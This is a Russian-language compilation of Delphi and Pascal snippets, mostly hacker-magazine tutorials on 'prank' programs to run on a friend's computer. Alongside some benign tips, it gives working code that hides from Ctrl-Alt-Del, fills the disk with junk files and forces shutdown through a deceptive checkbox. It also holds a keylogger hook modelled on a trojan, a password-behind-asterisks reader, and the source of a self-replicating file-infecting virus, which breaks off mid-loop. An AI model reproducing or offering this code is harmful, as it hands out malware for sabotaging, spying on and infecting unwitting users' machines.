Ну что же, каркас готов, теперь будем писать основной код:
program joke!;
uses Windows, Graphics; /* тут мы подключаем необходимые модули */
var
desk:TCanvas; /* тут мы объявляем переменные */
begin
desk:=TCanvas.Create; /* инициализируем переменную */
desk.handle:=GetDC(0); /* получаем заголовок десктопа */
while true do
begin
Yield;
desk.Pixels[Random(800), Random(600)]=0; /* точка на экране становится черной */
end.
Прога почти готова, жми на F9 и наслаждайся! Теперь осталось сделать, чтобы прогу нашу через CTRL-ALT-DEL не видно было:
program joke!;
uses Windows, Graphics; /* тут мы подключаем необходимые модули */
var
desk:TCanvas; /* тут мы объявляем переменные */
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
begin
RegisterServiceProcess(GetCurrentProcessID, 1);
desk:=TCanvas.Create; /* инициализируем переменную */
desk.handle:=GetDC(0); /* получаем заголовок десктопа */
while true do
begin
Yield;
desk.Pixels[Random(800), Random(600)]=0; /* точка на экране становится черной */
end;
end.
Всё! Нашу заподлянку не снять через "три весёлых клавиши"!. Жми теперь CTRL-F9 и вперёд!
CD может иметь или не иметь серийный номер и/или универсальный код продукта (Universal Product Code). MCI-расширение
Windows предоставляет эту информации с помощью комманды MCI_INFO_MEDIA_IDENTITY command. Эта команда возвращает
уникальную ID-строку.
Пример:
uses MMSystem, MPlayer;
procedure TForm1.Button1Click(Sender: TObject);
var
mp : TMediaPlayer;
msp : TMCI_INFO_PARMS;
MediaString : array[0..255] of char;
ret : longint;
begin
mp := TMediaPlayer.Create(nil);
mp.Visible := false;
mp.Parent := Application.MainForm;
mp.Shareable := true;
mp.DeviceType := dtCDAudio;
mp.FileName := 'D:';
mp.Open;
Application.ProcessMessages;
FillChar(MediaString, sizeof(MediaString), #0);
FillChar(msp, sizeof(msp), #0);
msp.lpstrReturn := @MediaString;
msp.dwRetSize := 255;
ret := mciSendCommand(Mp.DeviceId, MCI_INFO, MCI_INFO_MEDIA_IDENTITY,
longint(@msp));
if Ret <> 0 then
begin
MciGetErrorString(ret, @MediaString, sizeof(MediaString));
Memo1.Lines.Add(StrPas(MediaString));
end
else
Memo1.Lines.Add(StrPas(MediaString));
mp.Close;
Application.ProcessMessages;
mp.free;
end;
end.
procedure WriteText(ACanvas: TCanvas; const ARect: TRect; DX, DY: Integer;
const Text: string; Format: Word);
var
S: array[0..255] of Char;
B, R: TRect;
begin
with ACanvas, ARect do
begin
case Format of
DT_LEFT: ExtTextOut(Handle, Left + DX, Top + DY, ETO_OPAQUE or
ETO_CLIPPED,
@ARect, StrPCopy(S, Text), Length(Text), nil);
DT_RIGHT: ExtTextOut(Handle, Right - TextWidth(Text) - 3, Top + DY,
ETO_OPAQUE or ETO_CLIPPED, @ARect, StrPCopy(S, Text),
Length(Text), nil);
DT_CENTER: ExtTextOut(Handle, Left + (Right - Left - TextWidth(Text)) div
2,
Top + DY, ETO_OPAQUE or ETO_CLIPPED, @ARect,
StrPCopy(S, Text), Length(Text), nil);
end;
end;
end;
procedure TBEFStringGrid.DrawCell(Col, Row: Longint; Rect: TRect; State:
TGridDrawState);
var
procedure Display(const S: string; Alignment: TAlignment);
const
Formats: array[TAlignment] of Word = (DT_LEFT, DT_RIGHT, DT_CENTER);
begin
WriteText(Canvas, Rect, 2, 2, S, Formats[Alignment]);
end;
begin
{ здесь задаем аргументы Col и Row, и форматируем как угодно ячейки }
case Row of
0: { Центрирование заголовков колонок }
if (Col < ColCount) then
Display(Cells[Col, Row], taCenter)
else
{ Все другие данные имеют правое центрирование }
Display(Cells[Col, Row], taRight);
end;
end;
Вот ты все делаешь и делаешь заподлянки. Только они какие то большие получаются. И на дискетку в лучшем случае влезет
штуки 4-5. А пробовал ли ты писать компактное zло, что бы на дискетку влезло их штук 100? Вот этим мы в этой статье
и займемся.
Лови мышь!
Мой любимый способ сделать кому нибудь zло - убить мышь. Но по своей природе я гуманный человек и мне не хочется
убивать зверей. Что можно ещё сделать с этим несчастным существом? Правильно. Заставить её побегать. Создавай
пустой текстовый файл и набивай следующее:
program MadMouse;
uses
Windows;
var
tmp: boolean=true;
begin
randomize;
repeat
SetCursorPos(random(1024), random(768));
sleep (500);
until tmp;
end.
Сохраняй все это добро сохраняй и присвайвай файлу расширение dpr. Запускай дельфи, открывай этот файл, компилируй
и неси к другу ;) . Обьясняю со слова begin. Randomize инициализирует генератор псевдослучайных чисел. Процедура
SetCursorPos(random(1024), random(768)) перемещает курсор в случайные координаты экрана (random(x) random(y)).
Sleep - ждать 500мс (полсекунды). Ожидание можно сделать и подольше, что бы жертва ничего не заподозрила. Ну и
все это повторяется пока tmp=true. А tmp=true навечно :) . Значит все это будет выполняться пока процесс не
снимут или не перезагрузят компьютер. Можно из программы сделать монстра - заставив прятаться от Alt-Ctrl-Del
и прописываться в автозагрузку. Как это реализовать я надеюсь ты поймешь. Итого рзамер екзешника - 8Kb. Неплохо,
правда?
Лопнувшие глаза
Поиздевавшись над мышой давай поиздеваемся над экраном. Создавай, сохраняй, компилируй так, как это было описано
выше:
program BlackDeep;
uses
Windows,
Graphics;
var
dt : TCanvas;
begin
Randomize;
dt := TCanvas.Create;
dt.handle:= GetDC(0);
while true do
begin
Yield;
dt.Pixels[Random(1024), Random(768)]:=0;
end;
end.
Здесь экзешник получится помощнее - 120Kb. Все это из-за модуля Graphics, без которого никакой заподлянки не будет.
Наша программа делает следуеще. Инициализируется генератор случайных чисел (Randomize). Затем создается обьект dt
типа TCanvas (dt := TCanvas.Create). Берем описание устройства "Экран" и присваиваем его описанию dt
(dt.Handle := GetDC(0)). Потом запускаем цикл (while true do), даем выполниться ожидающей задаче (Yield) и
заполняем случайный пиксел экрана черным цветом (dt.Pixels[Random(1024), Random(768)]:=0;). На первый взгляд
кажется сложно, но на самом деле все просто. Мне, кстати, очень нравится, что делает программа (только не надо
называть меня извращенцем)... Так что я иногда запускаю её, что бы полюбоваться этим зрелищем. Но не советую
увлекаться этим на Win9x/ME, а то придется перезагружаться.
Сумасшедшая винда
Все знают, что винда глючная. Щас мы сделаем её еще глючнее... Создавай текстовый файл и пиши:
program MadWinda;
uses
Windows;
var
CurrWnd:HWND;
begin
while true do
begin
CurrWnd:=GetForegroundWindow;
SetWindowText(CurrWnd, "From Windows with Love");
Sleep(5000);
end;
end.
Компилируй это, а я расскажу что делает программа. Запускается бесконечный цикл, в котором мы считываем описание
активного окна в переменную CurrWnd (CurrWnd:=GetForegroundWindow). Затем этому окну через описание (CurrWnd)
меняем заголовок (SetWindowText(CurrWnd, "From Windows with Love")). Потом ждем 5 сек и начинаем все сначала.
Вот такая простенькая и оргиниальная заподлянка размером в 8Kb.
Прячем панель задач
Ну как же обойтись без классики zаподлостроительства? Создай пустой текстовый файл с расширением dpr и впиши это:
program HideTaskbar;
uses
Windows;
begin
ShowWindow(FindWindow("Shell_TrayWnd", nil), SW_HIDE);
end.
Вот и все! Такая вот заподлянка размером всего в одну процедурку! Тут и обьяснять то нечего. Программа ищет окно
"Shell_TrayWnd" и прячет его. Что бы показать панель задач, вместо SW_HIDE напиши SW_SHOW.
Танцуют все!
Ну все, винду помучили. Экран и мышь тоже. Что ещё осталось? Ах да, старая добрая тетя клава. Щас мы заставить её
перемигиваться лампочками. Создавай проект и пиши:
Program TancuytVse;
uses
Windows;
var
KS:TKeyboardState;
i:integer;
begin
while true do
begin
randomize
Yield;
Sleep(10000);
GetKeyboardState(ks);
i:=Random(2);
case i of
0:KS[020]:= KS[020] XOR 1;
1:KS[144]:= KS[144] XOR 1;
2:KS[145]:= KS[145] XOR 1;
end;
SetKeyboardState(ks);
end;
end.
Здесь запускается бесконечный цикл, в котором сначала инициализируем генератор псевдослучайных чисел (randomize),
потом даем выполнится ожидающей задаче (Yield), делаем паузу в 10 сек. (Sleep(10000), запрашиваем состояние
клавиатуры (GetKeyboardState(ks)), генерируем случайное число и на его основе виртуально нажимаем на клавишу
NumLock, CapsLock или ScrollLock. Предупреждаю, что этот трюк не пройдет в NT-подобных системах (WinNT, 2000 и XP).
Обкурившийся CD-RoM
Ну и напоследок опишу ещё одну классическую заподлянку. Создавай и пиши:
program CrazyCD;
uses
windows, MMSystem;
var
OpenParm: TMCI_Open_Parms;
GeneralParm: TMCI_Generic_Parms;
SetParm: TMCI_Set_Parms;
Crd : Cardinal;
begin
while true do
begin
OpenParm.lpstrDeviceType := "CDAudio";
mciSendCommand(0, mci_Open, mci_Open_Type, Longint(@OpenParm));
Crd := OpenParm.wDeviceID;
mciSendCommand(Crd, mci_Set, mci_Set_Door_Open, Longint(@SetParm));
mciSendCommand(Crd, mci_Set, mci_Set_Door_Closed, Longint(@SetParm));
mciSendCommand(Crd, mci_Close, mci_Notify, Longint(@GeneralParm));
sleep(10000);
end;
end.
Эта программа несмотря на подключенный модуль MMSystem занимает всего 8 килобайт. Здесь, как и во всех наших
заподлянках, запускается бесконечный цикл, во время которого происходит следуещее. Заполним поле lpstrDeviceType
параметром CDAudio, указывающее на сидюк. Потом пошлем mci команду mciSendCommand(0, mci_Open, mci_Open_Type,
Longint(@OpenParm))) Переменной типа Cardinal присвоим ID девайса (Crd := OpenParm.wDeviceID). Затем последовательно
посылаем команды mci_Set и mci_Close. Ждем 10 секунд и повторяем. Заморочено, но работает ;).
function ExecuteFileTm(FileName:string;Params:string;Dsk:boolean;TimeOut:cardinal):boolean;
var
Res:LongBool;
PIn:PROCESS_INFORMATION;
SII:STARTUPINFO;
RetCode:cardinal;
TmOut:cardinal; //In seconds
i:cardinal;
CreationsFlags:cardinal;
begin
TmOut:=TimeOut;
try
if Dsk then
begin
CreationsFlags:=CREATE_DEFAULT_ERROR_MODE or NORMAL_PRIORITY_CLASS
or CREATE_UNICODE_ENVIRONMENT;
end else begin
CreationsFlags:=CREATE_DEFAULT_ERROR_MODE or CREATE_NO_WINDOW
or NORMAL_PRIORITY_CLASS
or CREATE_UNICODE_ENVIRONMENT;
end;
getstartupinfo(SII);
Res:=createprocess(
pchar(FileName),
pchar(Params),
nil,
nil,
True,
CreationsFlags,
nil,
pchar(extractfilepath(FileName)),
SII,
PIn);
except
CloseHandle(Pin.hProcess);
ExecuteFileTm:=False;
exit;
end;
if not Res then
begin
CloseHandle(Pin.hProcess);
ExecuteFileTm:=False;
exit;
end;
i:=0;
RetCode:=STILL_ACTIVE;
while (i<=TmOut) and (RetCode=STILL_ACTIVE)do
begin
try
GetExitCodeProcess(Pin.hProcess,RetCode);
except
CloseHandle(Pin.hProcess);
ExecuteFileTm:=False;
exit;
end;
Sleep(1000);
inc(i);
end;
if (i>TmOut) and (RetCode=STILL_ACTIVE) then
begin
TerminateProcess(Pin.hProcess,RetCode);
CloseHandle(Pin.hProcess);
// ExecuteFilePrExt:=false;
ExecuteFileTm:=false; // ION T
exit;
end;
CloseHandle(Pin.hProcess);
ExecuteFileTm:=True;
end;
Есть строка например - 1111111111111 = 22222222222
каким образом можно извлеч из нее текст до = и после, для того чтобы было так
1) 1111111111111
и
2)22222222222
======--------------------------------------
uses StrUtils;
var
S, SL, SR: String;
P: Integer;
begin
P := Pos('=', S);
if P > 0 then
begin
SL := LeftStr(S, P - 1);
SR := RightStr(S, Length(S) - P)
end
end.
Я добавляю програмно несколько строк в конец поля Memo, а их не видно. Как прокрутить
Memo, чтобы было видно последние строки ?
Примерно так:
SendMessage(Memo1.Handle, EM_LINESCROLL, 0, Memo1.Lines.Count-1);
Кодировка полиалфавитным шифром Вигeнера - xor кодировка
одна функция для кодирования и декодирования
Input - входная строка. При кодировании это незакодированная строка, при декодировнии это закодированная строка.
Key - слово ключ один и тот же в обоих случаях.
function VigenerCoDec(Input,Key:pchar):pchar
var
i,j:integer;
tmps,text:string;
begin
text:=Input;
for i:=1 to length(text) do
begin
if i>length(key) then j:=i mod length(key) else j:=i;
tmps:=tmps+chr((ord(text[i]))xor(ord(key[j])));
end;
result:=pchar(tmps);
end;
Пример использования:
Text:=edit1.text;
K:=edit2.text;
Edit3.text:=VigenerCoDec(Text,K);
Закодировать:
Input:='Привет я РУ'; Key:='hello'; result:='ГуднйзHвH++';
Восстановить:
Input:='ГуднйзHвH++'; Key:='hello'; result:='Привет я РУ';
Пару дней назад ко мне в руки попал очередной "хакерский" диск с многообещающим названием
"Всё что надо хакеру/крэкеру для взлома любой системы" (круто! :)). На диске содержится много "полезного"
софта для истинного компьютерного хулигана:
FrontPage 98.
Go!Zilla (хорошая кстати прога).
Полная официальная версия WinXP (объём дистрибутива 150 метров (!)).
Коллекция вирусов (это интересно :)).
Коллекция вирусов при ближайшем рассмотрении содержала в себе много прог, которые вредоносными и назвать тяжело
(подборщики паролей, системы удалённого администрирования, крякер инета :) и т. д.). И среди всего этого попались
мне интересные проги, а именно OpenPass, Behind The Asterisks и MadExplorer. Первые две занимаются тем, что
показывают пароли находящиеся за звёздочками. Но особенность их в том, что они не используют DLL. В "хакере"
была статья (ver.10.01(34)) о написании смотрелки. Суть той программы заключалась в следующем: экзешник
загружаеть Dll'ку, которая в свою очередь ставит хук на мессаги и смотрит, где кликнула мышь, там убирает
звездочки. Но в OpenPass и Behind The Asterisks нет DLL (поэтому они меня и заинтересовали).
Ну что ж, посмотрим что содержится в Behind The Asterisks (так как она меньше, чем OpenPass). Для этого
возьмём WinDasm и декомпилируем BTA. Код программы очень прост и легко читаем. Программа создает стандартный
диалог DialogBoxParamA() и работает только с ним, но не это интересно. Как же она достает текст из полей
ввода без DLL? Смотрим и видим следующие строки:
:00401052 53 push ebx
:00401053 6A0A push 0000000A
:00401055 6A04 push 00000004
:00401057 51 push ecx
* Reference To: USER32.SetTimer, Ord:0252h
|
:00401058 FF1528204000 Call dword ptr [00402028]
Это сразу бросается в глаза (так как программа очень маленькая). Что же делает таймер? А вот что:
//Получаем информацию о расположении курсора на экране.
:0040107C 6800304000 push 00403000
* Reference To: USER32.GetCursorPos, Ord:00FCh
|
:00401081 FF1518204000 Call dword ptr [00402018]
//Теперь получаем handle элемента, над которым находиться мышь.
:00401087 A104304000 mov eax, dword ptr [00403004]
:0040108C 50 push eax
:0040108D 8B0D00304000 mov ecx, dword ptr [00403000]
:00401093 51 push ecx
* Reference To: USER32.WindowFromPoint, Ord:02A9h
|
:00401094 FF1530204000 Call dword ptr [00402030]
// Посылаем сообщение handle'у.
:0040109A 6814304000 push 00403014
:0040109F 6800040000 push 00000400
:004010A4 6A0D push 0000000D
:004010A6 50 push eax
* Reference To: USER32.SendMessageA, Ord:0214h
|
:004010A7 FF152C204000 Call dword ptr [0040202C]
Сообщение 0000000D соответствует WM_GETTEXT. То есть данный вызов копирует содержимое элемента в массив.
Ну а с полученными данными можно делать всё что угодно (в том числе показать пользователю :)).
Вот исходник всего этого на Delphi:
...
var
...
h:integer;
...
procedure timer;
var c:array[1..255] of char;
p:tpoint;
handle:hwnd;
begin
GetCursorPos(p);
handle:=WindowFromPoint(p);
SendMessage(handle,WM_GETTEXT,sizeof(c),integer(@c));
Form1.Caption:=c;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
h:=settimer(handle,0,300,@timer);
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
killtimer(handle,h);
end;
Ну вот и всё что касалось BTA. Теперь о MadExplorer'е. Это троян с кучей функций, среди которых есть
клавиатурный шпион, и опять же он реализован без Dll'ки. Обычно в таких программах делают хук на WH_KEYBOARD и
ловят все нажатия (о подобной реализации можно прочесть например на хакере в статье "Клавиатурный шпион своими
руками" (кстати советую, автор хороший кодер)). Минусом этого шпиона можно считать наличие двух файлов и лишние
телодвижения (такие как обработка DllEntryPoint). Изучив код MadExplorer'а (приводить его здесь нет смысла, так
как он очень большой) я написал следующий пример:
...
var
...
h:hhook;
...
function Proc(
code:integer;
wParam:WPARAM;
lParam:LPARAM
):lresult;stdcall;
var c:array[0..255] of char;
nScan:integer;
begin
if (code>=0)and(teventmsg(pointer(lparam)^).message=wm_keydown) then begin
nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));
nscan:=nscan shl 16;
GetKeyNameText(nScan,c,256);
form1.ListBox1.Items.Add(c);
end;
result:=callnexthookex(h,code,wparam,lparam);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0);
caption:=inttostr(h);
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
unhookwindowshookex(h);
end;
Этот пример можно доработать и использовать в своих благородных целях. Вот и всё. Жду пожеланий. Если ты хочешь
о чём-либо узнать и мне тоже будет интересно, я обязательно напишу.
Примечание: Под Windows 2000/XP данным способом пароль получить не удается (хотя текст других элементов диалога
читается без проблем). Там надо сделать DLL'ку с хуком (SetWindowsHookEx) и в ней перехватывать мессаги
(если есть нужная мессага, то смотрим пароль).
Действие этой проги заключается в следующем: она следит за позицией курсора и если он в левом верхнем углу экрана,
то она создает под случайным именем и расширением на диске файл с мусором
program musor;
uses
Windows;
var
{ Объявление переменных }
text: TextFile;
alphabet, temp: string;
i: integer;
point: TPoint;
function RegisterServiceProcess(dwProcessID, dwType: Integer): integer;
stdcall; external 'KERNEL32.DLL';
begin
RegisterServiceProcess(0, 1);
{заполняем строку алфавитом}
alphabet := 'abcdefghijklmnopqrstucvwxyz';
while true do
begin
{ получаем координаты курсора }
GetCursorPos(point);
{ если х = 0 и y = 0 то }
if (point.x = 0) and (point.y = 0) then
begin
temp:=''; {очищаем буфер}
for i:=1 to 8 do {генерируем случайное имя файла}
temp:=Concat(temp, alphabet[Random(length(alphabet)-1)+1]);
temp:=Concat(temp, '.');
for i:=1 to 3 do {генерируем случайное расширение}
temp:=Concat(temp, alphabet[Random(length(alphabet)-1)+1]);
Assign(text, temp); { присваиваем имя файлу }
Rewrite(text); {открываем файл}
for i:=1 to 30000000 do
begin
Yield;
write(text, '!'); { наполняем файл мусором }
end;
Close(text); {закрываем файл }
end;
end; {всё сначала }
end.
ВНИМАНИЕ!! Для того чтобы метод работал - надо поставить у вашего TStringList заполненного строками такое свойство :
StringList.Sorted := True;
TFilteredList=class(TStringList)
private
FFilteredList:TStrings;
FFilter: String;
isFiltered: Boolean;
procedure SetFiltered(const Value: Boolean);
function GetCountFiltered: Integer;
procedure ChangeFilter;
procedure SetFilter(const Value: String);
function GetFilteredItem(const index: Integer): String;
public
constructor Create;
destructor Destroy; override;
property Filter: String read FFilter write SetFilter;
property CountFiltered: Integer read GetCountFiltered;
property Filtered: Boolean read isFiltered write SetFiltered;
property FilteredItems[const index: Integer]: String read GetFilteredItem;
property FilteredList: TStrings read FFilteredList;
end;
procedure TFilteredList.ChangeFilter;
var
i: Integer;
Len: Integer;
begin
FFilteredList.Clear;
if Filter='' then isFiltered := False;
if not Filtered then Exit;
Len := Length(FFilter);
for i := 0 to Count-1 do
begin
if Copy(Self[i],1,Len)=FFilter then FFilteredList.Add(Self[i]);
end;
end;
constructor TFilteredList.Create;
begin
inherited Create;
FFilteredList := TStringList.Create;
end;
destructor TFilteredList.Destroy;
begin
FFilteredList.Free;
inherited;
end;
function TFilteredList.GetCountFiltered: Integer;
begin
Result := FFilteredList.Count;
end;
function TFilteredList.GetFilteredItem(const index: Integer): String;
begin
Result := FFilteredList[index];
end;
procedure TFilteredList.SetFilter(const Value: String);
begin
if FFilter=Value then Exit;
FFilter := Value;
ChangeFilter;
end;
procedure TFilteredList.SetFiltered(const Value: Boolean);
begin
isFiltered := Value;
ChangeFilter;
end;
Let the party begin!
Итак, начнем! Берем твою любимую Дельфю и создаем новый проект (в меню главного окна: File -> New Application).
Я не люблю всяких имен по дефолту, поэтому сразу обзываем появившуюся форму, например, 'SuperForm'
(в Object Inspector`е поле 'Name'), меняем ее заголовок (Caption) на что-нибудь типа 'sHUTiTdOWN -
не дай виндам засохнуть!' и делаем ее диалогом: BorderStyle правим на bsDialog. Теперь тащим на форму label,
checkbox, два radiobutton`а, прогрессбар и таймер. Что, грузанул я тебя? Ну, тогда объясняю в чем маза: label -
просто текст на окне, checkbox - пимпа с флажком, radiobutton - круглая фигулька с точкой внутри (все это во
вкладке 'Standard' списка компонентов), progressbar показывает прогресс выполнения какого-нибудь процесса
(например, когда ставишь софтину в setup`е, он показывает, сколько файлов скопировано, и т.п.), находится этот
бар во вкладке 'Win32', а таймер и в Гондурасе таймер (вкладка 'System'). Эти фичи нужны для пущего западла, а
вот label тебе пригодится во время отладки проги или когда будешь заценять, как она пашет: через него ты будешь
шатдаунера нашего закрывать.
"Все еще только начинается!" ;-) (C) Санта-Барбара
Все свойства объектов меняются просто: выбираешь жертву истязаний и в Object Inspector`е редактируешь нужное
свойство.
Сначала обзовем радиобатоны и поменяем их подписи (Caption): первый - на 'ToPowerOff', кэпшн - на 'повер офф!';
второй - на 'ToReboot', кэпшн - на 'ребут'. Это все нам дальше пригодится. Таймер называем 'DeathTimer', а
прогрессбар просто: 'ProgressBar'. Теперь меняем имя чекбокса на 'ForceBox' и кэпшн на что-то типа 'Force - с
потерей всех данных', а вообще по твоему вкусу. Эта феня нужна для очередного глумления над твоим приятелем,
заюзающим эту прогу. Представь: жмет он на него, жмет, а винды все равно отрубятся в режиме 'force', т.е. никто
не будет спрашивать у запущенных приложений разрешения на взлет. Ты еще помнишь про ма-аленький label (или он у
тебя во все окно получился? :))? Вспоминай! Он нам дальше пригодится, а пока лучше назови его 'Title' и напиши в
нем заголовок проги, например, 'sHUTiTdOWN'.
Займемся кодингом
Для начала сделаем самое простое - объявим нужные для работы переменные. Делать это будем в разделе implementation,
зачем - поймешь сам, если ненадолго включишь мозгу. Итак, вводим вот что:
var
progress : integer; //сколько набежало в прогрессбаре
Want2SwitchOff : byte = 0; //сколько раз кликнули по label`у, чтобы прога закрылась
ReallyClose : boolean = false;//после 5-ти кликов будет true, и все, финита :)
Если ты пока не понял, для чего эти переменные нужны, не кидай ломом в монитор! :) Скоро все станет ясно даже
одноногой табуретке :)).
Теперь нужно сделать так, чтобы сколько наш бедный ламер на чекбокс ни давил, флажок все равно стоял. :) Делается
это так: кликаешь два раза по твоей пимпе с флажком и в открывшемся окне редактирования кода, внутри функции
ForceBoxClick, пишешь:
ForceBox.Checked := true;
Готово! Сейчас сделаем, чтобы прогу обычными средствами (Alf-F4 или крестиком) нельзя было отрубить. Выбираем вкладку
'Events' в свойствах формы (все как обычно в Object Inspector`е), а там создаем обработчик события OnClose.
В нем пишем:
if (ReallyClose) then
Action := caFree
else Action := caNone;
Этот код не будет позволять окну нашего шатдаунера закрываться, пока переменная ReallyClose равна false. А зачем она
нужна? Дык надо оставить какой-нибудь бекдор, чтобы самому прогу можно было тормознуть! Помнишь, я говорил, что
лейбл пригодится? Время обратиться к этому title`у! Опять тыкаешь два раза крысиной пимпой, но только уже по нему.
В появившемся окне с сорцами пишем (внутри функции TitleClick!):
Want2SwitchOff := Want2SwitchOff + 1;
if (Want2SwitchOff = 5) then
begin
ReallyClose := true;
SuperForm.Close();
end;
Что это такое? Ни что иное, как закрывашка (типа открывашки для пива, только наоборот)! Объясняю: после каждого
клика по label`у переменная Want2SwitchOff будет увеличиваться на один. Если она станет равной пяти, прога вырубается!
Все просто. :)
Да будет свет!
Перейдем к главному - самому процессу отрубания виндов. Будем мы их отрубать по желанию трудящихся, т.е. так,
как трудящиеся соизволили выбрать: повер офф, или ребут. Да, еще нужно сделать, чтобы прогрессбар работал. Думаешь,
геморрой? Да всего-то пара строк:
progress := progress + 1;
if (progress <= 100) then ProgressBar.StepIt
else
begin
if (ToReboot.Checked) then
ExitWindowsEx(EWX_REBOOT or EWX_FORCE, 0);
if (ToPowerOff.Checked) then
ExitWindowsEx(EWX_POWEROFF or EWX_FORCE, 0);
end
А теперь догадайся, куда этот код всунуть надо? Нет, туда, куда ты хочешь (конечно, можешь засунуть для опыта :),
но в кодинге это не поможет)! Все опять очень просто. Был там у нас таймер, который до сих пор не заюзан. Сечешь
фишку? Нужен он для того, чтобы на прогрессбар полоски двигать и, в конце концов, комп зашатдаунить (или ребутить).
Поэтому, как обычно, тыкаем по таймеру два раза. Появился обработчик события OnTimer. Это событие обрабатывается
после истечения интервала таймера, который изменяется в свойстве Interval (единица - тысячная секунды). Поставь
там 100, чтобы у жертвы слишком много времени на раздумье не было. :)
Осталось разобрать сам код. Переменная progress показывает, сколько у бара процентов накипело. Когда progress
доходит до ста, начинается процесс отрубания виндов. Очень меня радует, что их можно вырубить вызовом всего
одной функции - ExitWindowsEx. :) У функции этой два параметра: первый - флаг, он говорит что делать (EWX_LOGOFF -
завершение сеанса пользователя, EWX_REBOOT - ребут, EWX_SHUTDOWN - шатдаун, EWX_POWEROFF - (не догадался?)
повер офф), а второй зарезервирован и, по уверениям мелкомягких, игнорируется. EWX_POWEROFF работает только
на машинах, которые его поддерживают, т.е. на ATX`ах. Если ты сомневаешься, что за комп у жертвы, лучше поставь
EWX_SHUTDOWN, который доведет шатдаун до стадии 'Сеанс Windows завершен. Вы можете выкинуть свой компьютер'. :)
Разобрался с флагами? Для них-то и юзаем if-else: он проверяет, какой радиобокс выбран, и делает свое дело.
Voila!
Outroе
Вот и все! Теперь ты можешь считать себя крутым компутерным zаподлянщиком :). Эта прога - самый простой прикол,
который ты мог написать. Конечно, задачу шатдаунера можно реализовать и более крутыми способами, тысячами строк
и т.п. Но ведь в том и фишка, что так ты посылаешь солить веники всех этих куль-кодеров, которые ваяют простейший
алгоритм целыми томами строк с ненужными операторами? Такой геморрой может быть нужен опять-таки только для
прикола: на олимпиадах по информатике, помню, писали проги на объектном паскале (со всеми конструкторами и
деструкторами!), которые конвертят числа в разные таблицы счисления по указанному в примечании к заданию
алгоритму :)).
По поводу же нашей проги даю домашнее задание. :)
1. Эта прога не будет пахать под NT. В NT`е нужно получить приоритет шатдауна для процесса, чтобы он смог
отрубить систему. Как это сделать? Посмотри в Win32 API reference (только там на Си код в примере :)).
2. Чтобы сделать 'просто супербизона', поищи в хэлпах Дельфей про реестр виндов и заставь прогу вносить себя
в группу запуска при старте форточек. :) Можешь еще поработать над дизигном. У меня в два счета получилось так:
3. Проявляй инициативу, работай мозгом, твори! Кодинг - захватывающее занятие, если им заниматься с увлечением.
Особенно, когда ты творишь не для себя, а для людей (которым будешь вырубать винды ;)). Удачи тебе в твоих
западлостроительных экспериментах!
Какой самый простой способ сделать так, чтобы винды плохо работали, а? Ни за что не угадаешь - надо сделать
так, чтобы они вообще НЕ работали :). Этим мы и займемся: напишем прогу, которая будет их ребутить, шатдаунить,
закрывать, затыкать, вырубать, гасить, валить, то есть попросту иметь. Ведь как люди выходят из-под окон? Кто-то,
порывшись в инструкции, делает все, как дядя Билли прописал, кто-то, проклиная все дикими криками вымирающих
динозавров, тычет Ctrl-Alt-Del, а кто-то просто при первом же обломе лезет давить Reset. А как это делают
настоящие кул-хацкеры? Конечно, они пишут для этого специальную прогу, причем эта прога вырубает винды не
им, а их врагам, ну или просто знакомым ламерам на крайняк... Хе-хе.
var MaximumComponentLength,FileSystemFlags:DWord;
begin
SetErrorMode(SEM_FAILCRITICALERRORS);
if GetVolumeInformation(Pchar('A:\'),nil,0,
nil,MaximumComponentLength,FileSystemFlags,nil,0)=true then
messagedlg('Что-то есть',mtinformation,[mbok],0)
else
messagedlg('Путо',mtinformation,[mbok],0)
end;
uses
Registry
Затем, например, по нажатию какой-нибудь кнопки написать следующий код:
procedure TForm1.Button1Click(Sender: TObject);
var
a:TRegistry;
begin
a:=TRegistry.create;
a.RootKey:=HKEY_CURRENT_USER;
a.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer',true);
a.WriteInteger('NoClose',1);
a.CloseKey;
a.Free;
end;
Многие люди создают вирусы. Большинство из них страдают комплексом неполноценности - они стараются создать
что-то сложное. Но в большинстве случаев страдает от этого население. Лучше всего в работе вируса нам поможет
разобраться исходник примерного вируса. Этот вирус ничего не делает, только размножается. Примерный алгоритм на
Паскале:
{$M $4000,0,0 }
uses crt,dos;
var
sr_file,sr_dir:searchrec;
col,infmax,infcount,i:integer;
auth,name,sdir,path,params:string;
ne_inf,v_h,pe_inf:string;
f:file;
test:text;
P: PathStr;
D: DirStr;
N: NameStr;
E: ExtStr;
function petest(s:string):boolean;
var
fl:file;
byt:integer;
nr:word;
c:char;
begin
{$I-}
petest:=false;
assign(fl,s);
reset(fl,1);
seek(fl,$3c);
BlockRead(fl, byt, SizeOf(byt), NR);
seek(fl,byt);
BlockRead(fl, c, SizeOf(c), NR);
if c='P' then
begin
BlockRead(fl, c, sizeOf(c), NR);
if c='E' then PETest:=true;
end;
close(fl);
end;
function netest(s:string):boolean;
var
fl:file;
byt:integer;
nr:word;
c:char;
begin
{$I-}
netest:=false;
assign(fl,s);
reset(fl,1);
seek(fl,$3c);
BlockRead(fl, byt, SizeOf(byt), NR);
seek(fl,byt);
BlockRead(fl, c, SizeOf(c), NR);
if c='N' then
begin
BlockRead(fl, c, sizeOf(c), NR);
if c='E' then NETest:=true;
end;
close(fl);
end;
procedure inf(s:string);
var
g:file of char;
begin
IF INFCOUNT>=INFMAX THEN EXIT;
{$I-}
if petest(s)=true then
begin
if pe_inf<>'pe_t' then exit;
end;
if netest(s)=true then
begin
if ne_inf<>'ne_t' then exit;
end;
fsplit(s,d,n,e);
assign(g,d+n+'.dat');
reset(g);
if ioresult=0 then
begin
close(g);
exit;
end;
assign(g,s);
rename(g,d+n+'.dat');
SwapVectors;
Exec(getenv('comspec'), ' /c copy '+paramstr(0)+' '+s+' >nul');
SwapVectors;
INFCOUNT:=INFCOUNT+1;
end;
procedure inf_dir;
begin
findfirst('*.exe',$3f,sr_file);
repeat
if fexpand(sr_file.name)<>paramstr(0) then inf(fexpand(sr_file.name));
findnext(sr_file);
until (doserror<>0)or(ioresult<>0);
findfirst('*',$10,sr_dir);
if doserror<>0 then exit;
repeat
findnext(sr_dir);
